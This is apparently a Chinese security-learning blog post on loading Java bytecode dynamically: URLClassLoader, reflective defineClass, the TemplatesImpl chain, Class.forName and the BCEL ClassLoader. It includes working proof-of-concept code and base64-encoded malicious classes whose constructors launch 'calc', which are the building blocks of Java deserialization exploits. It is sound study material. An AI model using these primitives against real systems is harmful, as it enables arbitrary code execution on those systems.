java动态加载字节码

java动态加载字节码

java字节码

Java字节码指的是JVM执行使用的一类指令,通常被存储在.class文件中。

URLClassLoader

利用URLClassLoader可以加载远程/本地class文件

在学习完类加载机制,我们知道URLClassLoader是AppClassLoader的父类

正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,这个基础路径有分三种情况:

  • URL未以斜杠/结尾,则认为是一个Jar文件,使用JarLoader来寻找类,即在Jar包上寻找类
  • URL以斜杠/结尾,且协议名为file,则使用FileLoader来寻找类,即在本地系统中寻找.class文件
  • URL以斜杠/结尾,且协议名不为file,则使用最基础的Loader来寻找类

一、本地加载.class文件

这个在之前的类加载机制已经看到了。

package org.example;

import java.net.URL;
import java.net.URLClassLoader;

public class CC3test {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlclassloader = new URLClassLoader(new URL[]{new URL("file:///D:/")});
        Class c = urlclassloader.loadClass("gaoren");
        c.newInstance();
    }
}

二、远程加载.class文件

import java.net.URL;
import java.net.URLClassLoader;

public class urlclassloader {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlclassloader = new URLClassLoader(new URL[]{new URL("http://url:port/")});
        Class c = urlclassloader.loadClass("Test");
        c.newInstance();
    }
}

感觉两者相差不大,对照上面的三种情况这里用的是基础的Loader来寻找类

一般利用:当能够控制目标Java ClassLoader的基础路径为一个http服务器,则可以用远程加载的方式执行任意代码

ClassLoader.define

利用ClassLoader.define可以直接加载字节码

java在进行类加载的都需要用到三个函数:

loadclass()-->findclass()-->defineclass()

loadclass():查找JVM是否加载过这个类,如果没有就层层向上利用父类加载器进行加载,没有父类加载器就会默认使用启动类加载器(Bootstrap ClassLoader)作为父加载器,如果父加载器加载类失败,抛出ClassNotFoundException异常后才会调用自己的加载器进行加载,执行findclass()

findclass():根据基础URL制定的方式来查找类,读取字节码后交给defineClass(判断类是否能被加载)

defineclass():处理前面传入的字节码,将其处理成真正的Java类

defineclass决定如何将一段字节流转换变成一个Java类,Java默认的ClassLoader.define是一个native方法(C语言实现)

QQ截图20240625213216

从上面可以看出来,我们可以直接传入字节码,这样把findclass都省去了,直接调用defineclass把字节码转换为java类

gaoren.java

public class gaoren {

    public gaoren() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

把其编译为class文件后进行base64编码方便待会出传入:

QQ截图20240625214638

利用反射获取defineClass方法

        Method defineclassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineclassMethod.setAccessible(true);

调用defineclass方法:

        Class Test = (Class) defineclassMethod.invoke(ClassLoader.getSystemClassLoader(), "gaoren", code, 0, code.length);
        Test.newInstance();

完整poc:

package org.example;

import java.lang.reflect.Method;
import java.util.Base64;

public class CC3test {
    public static void main(String[] args) throws Exception {
        Method defineclassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineclassMethod.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAITGdhb3JlbjsBAA1TdGFja01hcFRhYmxlBwAeBwAcAQAKU291cmNlRmlsZQEAC2dhb3Jlbi5qYXZhDAAJAAoHACAMACEAIgEABGNhbGMMACMAJAEAE2phdmEvbGFuZy9FeGNlcHRpb24MACUACgEABmdhb3JlbgEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAABAAEACQAKAAEACwAAAHwAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAMADAAAABoABgAAAAQABAAGAA0ACQAQAAcAEQAIABUACgANAAAAFgACABEABAAOAA8AAQAAABYAEAARAAAAEgAAABAAAv8AEAABBwATAAEHABQEAAEAFQAAAAIAFg==");
        Class Test = (Class) defineclassMethod.invoke(ClassLoader.getSystemClassLoader(), "gaoren", code, 0, code.length);
        Test.newInstance();
    }
}

运行弹出计算机

defineClass()TemplatesImpl的基石。

TemplatesImpl

利用TransletClassLoader加载器来加载恶意类

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TransletClassLoader,该类继承了ClassLoader

QQ截图20240625222640

最主要的是看其defineclass方法,进行了重写,我们在传入的时候只需要传byte[]这个参数就行,但是之前那个是protected

属性的可以通过反射进行方法调用。这里是default属性,意思是只能在本类被调用,所以要去这个类看谁调用了defineclass方法。

发现defineTransletClasses中可以调用重写后的defineclass方法:

QQ截图20240626144701

这里参数_bytecodes就是我们要传入的byte,后续可利用反射获取变量进行修改是其为我们要传入的值。

我们还需要让loaderTransletClassLoader,这样调用的defineclass方法才是我们想要的。

注意到这里的loader是上面run()方法得到的,该方法就是对TransletClassLoader的实例化,至于参数先不管。

QQ截图20240626145334

然后接下来还需要找谁调用了defineTransletClasses方法

QQ截图20240626150752

发现只有三个函数而且还都是本类的。那么依次跟进看

又发现只有getTransletInstance函数能被其他函数进行调用,剩下两个查找不到用法。

QQ截图20240626151049

所以继续跟进到getTransletInstance函数,触发条件为_name不为空然后_class为空,后面赋值就这样赋就行了。

QQ截图20240626151328

继续看谁调用了此方法,刚刚说了就一个结果:

跟进到此结果, newTransformer()方法,

QQ截图20240626152251

到这里看到方法是public属性就可以结束了,可以直接调用此方法然后一层一层向下走。

TransformerImpl.newTransformer()
	TransformerImpl.getTransletInstance()
		TransformerImpl.defineTransletClasses()
			TransformerImpl.defineclass()

参考其他师傅的文章也可以继续向上到getOutputProperties方法。

TransformerImpl.getOutputProperties()
	TransformerImpl.newTransformer()
		TransformerImpl.getTransletInstance()
			TransformerImpl.defineTransletClasses()
				TransformerImpl.defineclass()

这里利用TransformerImpl.newTransformer()开始的链,先反射调用给之前函数的一些参数赋值,因为赋值的参数较多,先构造个设值方法:

    public static void setValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

赋值:

        byte[] code = Base64.getDecoder().decode("");
        setValue(tem, "_bytecodes", code);
        setValue(tem, "_tfactory", new TransformerFactoryImpl());
        setValue(tem, "_name", "gaoren");
        setValue(tem, "_class", null);

说实话这里其他赋值看上面的分析就知道了,但不是很懂这里_tfactory为什么要这样赋值。这个最后再说。

poc:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;

public class CC3test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tem =new TemplatesImpl();
        byte[] code=Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAITGdhb3JlbjsBAA1TdGFja01hcFRhYmxlBwAeBwAcAQAKU291cmNlRmlsZQEAC2dhb3Jlbi5qYXZhDAAJAAoHACAMACEAIgEABGNhbGMMACMAJAEAE2phdmEvbGFuZy9FeGNlcHRpb24MACUACgEABmdhb3JlbgEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAABAAEACQAKAAEACwAAAHwAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAMADAAAABoABgAAAAQABAAGAA0ACQAQAAcAEQAIABUACgANAAAAFgACABEABAAOAA8AAQAAABYAEAARAAAAEgAAABAAAv8AEAABBwATAAEHABQEAAEAFQAAAAIAFg==");
        setValue(tem, "_bytecodes", code);
        setValue(tem, "_tfactory", new TransformerFactoryImpl());
        setValue(tem, "_name", "gaoren");
        setValue(tem, "_class", null);
        tem.newTransformer();
    }

    public static void setValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

运行发现报错

QQ截图20240626155940

发现_bytecodes的类型是二维数组。

QQ截图20240626160106

修改setValue(tem, "_bytecodes", new byte[][]{code});,然后出乎意料,运行依然报错。

继续看师傅们的文章才知道TemplatesImpl中对加载的字节码是有一定要求的,这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。

所以重新构造class字节码了:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class gaoren extends AbstractTranslet {
    public gaoren(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

bade64编码后

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class CC3test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tem =new TemplatesImpl();
        byte[] code=Base64.getDecoder().decode("yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAITGdhb3JlbjsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAtnYW9yZW4uamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBAAZnYW9yZW4BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAIAAQACgANAA0AEAALABEADAAVAA4ADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAEQANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAEwANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
        setValue(tem, "_bytecodes", new byte[][]{code});
        setValue(tem, "_tfactory", new TransformerFactoryImpl());
        setValue(tem, "_name", "gaoren");
        setValue(tem, "_class", null);
        tem.newTransformer();

    }

    public static void setValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

QQ截图20240626161556

番外

一、

为什么_tfactory赋值为 new TransformerFactoryImpl()

跟进到它调用的getExternalExtensionsMap()方法并没有太多内容,而且这里也只需要TransletClassLoader实例化,其他值也并不重要

QQ截图20240626161834

再跟进到_tfactory参数,发现其为null

QQ截图20240626162040

意思是这里的_tfactory其实只要设个有getExternalExtensionsMap()方法的对象就行了。

而刚刚跟进到的getExternalExtensionsMap()方法就在TransformerFactoryImpl类里,所以这里设为TransformerFactoryImpl对象。

二、

至于最后会直接执行类里面得方法是因为在newTransformer()方法中进行了TransformerImpl类的实例化。

Class.forName()

使用Class.forName() 加载目标类

package org.example;

public class CC3test {
    public static void main(String[] args) throws Exception {
                try {
                    //Class.forName(String className),会对类进行初始化,执行类的static代码块
                    //Class<?> clazz = Class.forName("evil.Exploit2");
                    //Class.forName(String name, boolean initialize, ClassLoader loader),
                    //如果参数initialize为true,则会对类进行初始化,执行类的static代码块
                    Class test=Class.forName("org.example.gaoren");
                    test.newInstance();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }

QQ截图20240626164057

Class.forName()和ClassLoader#loadClass()的区别:

  • Class.forName() 默认情况下会对类进行初始化,执行类中的 static 代码块。而ClassLoader.loadClass() 并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中。
  • Class.forName() 可以加载数组,而 ClassLoader.loadClass() 不能。

BCEL ClassLoader

利用BCEL ClassLoader加载字节码

com.sun.org.apache.bcel.internal.util.ClassLoader类中,重写了loadClass方法

QQ截图20240626164942

调用了defineclass方法

QQ截图20240626165013

条件是clazz不为null,但是发现clazz的初始值就为null

QQ截图20240626165301

可以通过第二个if对clazz(class对象)进行赋值。但是需要满足class_name.indexOf("$$BCEL$$") >= 0,这个就是BCEL字节码以$$BCEL$$开头。

跟进到createClass函数,其实它就是对传入的class_name(BCEL字节码)进行了一系列处理,又把其变为了clazz也就是下面poc中一开始利用Repository.lookupClass传入的class对象

QQ截图20240626172959

然后才是获得对象字节码进行defineclass方法。
poc:

package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

public class CC3test {
    public static void main(String[] args) throws Exception {
        JavaClass clazz = Repository.lookupClass(org.example.gaoren.class);
        String code = Utility.encode(clazz.getBytes(), true);
        System.out.println(code);
        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
    }
}

综上大概就是loadclass调用时传入的参数要是BCEL字节码,所以通过Repository.lookupClass函数和Utility.encode函数操作把class对象变为BCEL字节码后传入,经过一些处理最后调用到defineclass方法进行加载字节码。

posted @   高人于斯  阅读(227)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示